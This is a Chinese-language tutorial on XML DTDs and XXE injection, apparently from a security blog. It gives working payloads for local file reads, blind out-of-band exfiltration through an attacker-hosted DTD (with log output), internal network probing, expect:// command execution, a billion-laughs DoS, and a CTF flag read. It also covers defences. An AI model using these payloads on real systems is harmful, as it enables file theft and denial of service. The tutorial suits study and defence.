DTD简介
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD 引用方式(简要了解):
1.DTD 内部声明
2.DTD 外部引用
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
1
| <!DOCTYPE 根元素 SYSTEM “外部DTD的URI”>
|
3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
1 2 3 4
| <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”> <!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN” “http://mybatis.org/dtd/mybatis-3-config.dtd”> 以!DOCTYPE开始,configuration是文档根元素名称;PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;EN表示DTD语言是英语;最后是DTD的URL;
|
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
重点了解实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
内部实体声明
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&在GET中需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号
外部实体声明
1
| <!ENTITY 实体名称 SYSTEM "URI/URL">
|
不同的语言支持的协议不同
参数实体声明
参数实体实际上不是在具体实例化文档中使用,而是在DTD文档内部被使用
1 2
| <!ENTITY % 实体名称 “实体的值”> <!ENTITY % 实体名称 SYSTEM “URI”>
|
1 2 3 4
| <!DOCTYPE xee [ <!ENTITY % name "XXE"> ]> </xxe>
|
XXE
1.文件读取
攻击利用大致分两个情形,一种是有回显的情况,一种是无会回显的情况
有回显:
1.直接读取文件
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///e://tool/1.txt"> ]> <c>&b;</c>
|
2.
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://localhost/attack1.dtd"> %d;]> <c>&b;</c>
|
其中attack.dtd
的内容为: <!ENTITY b SYSTEM "file:///etc/passwd">
3.
1
| <!DOCTYPE a SYSTEM "http://xxx.xxx.xxx/attack.dtd">
|
其中attack.dtd
内容同上不变
没有回显
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=e://tool/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/attack.dtd"> %dtd; %mydata; ]>
|
其中attack.dtd
的内容为:
1 2 3 4
| <!ENTITY % all "<!ENTITY % mydata SYSTEM 'http://localhost/?%file;'>" > %all;
|
最里层的嵌套里必须为字符实体
踩了很多坑,需要注意的是,dtd里的内容url需要添加”;”,最里层的嵌套的%需要为字符实体,需要添加”%all“
若要读取文件本身包含<等字符,如PHP文件,需要利用php://filter的base64编码绕过
如果网站开启了报错,也可以直接在报错信息中查看数据
当然可以在apache访问日志中查看
1 2 3 4 5 6
| ::1 - - [13/Aug/2018:17:29:51 +0800] "GET /attack.dtd HTTP/1.0" 200 85 ::1 - - [13/Aug/2018:17:29:51 +0800] "GET /?YWJj HTTP/1.0" 200 1751 ::1 - - [13/Aug/2018:17:29:51 +0800] "GET /XXE.php HTTP/1.1" 200 1550 ::1 - - [13/Aug/2018:17:31:25 +0800] "GET /attack.dtd HTTP/1.0" 200 85 ::1 - - [13/Aug/2018:17:31:25 +0800] "GET /?YWJj HTTP/1.0" 200 1751 ::1 - - [13/Aug/2018:17:31:25 +0800] "GET /XXE.php HTTP/1.1" 200 1550
|
2.内网信息探测及攻击
根据不同xml解析器会得到不同的回显报错结果
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>
|
结合其他的漏洞比如:struts2
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]> <root> <name>&xxe;</name> </root>
|
3.执行系统命令
php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
|
4.DOS攻击
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
防御XXE攻击
一、禁用外部实体
1 2 3 4 5 6 7 8 9 10
| PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
二、尽量不要让用户直接提交XML代码,如果一定要,则需过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
jarvis-oj API调用
Content - Type头限制提交的数据为json,但其实服务器也可以接受其他的数据
这里就需要去修改Content - Type头为application/xml
,根据提示,读文件/home/ctf/flag.txt,然后POST
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" > ]> <root> <user>&xxe;</user> </root>
|
参考链接
https://security.tencent.com/index.php/blog/msg/69
http://www.4o4notfound.org/index.php/archives/29/
https://www.hackersb.cn/hacker/211.html
jd
https://www.secpulse.com/archives/6256.html
https://thief.one/2017/06/20/1/
http://www.w3school.com.cn/dtd/index.asp
http://www.freebuf.com/vuls/175451.html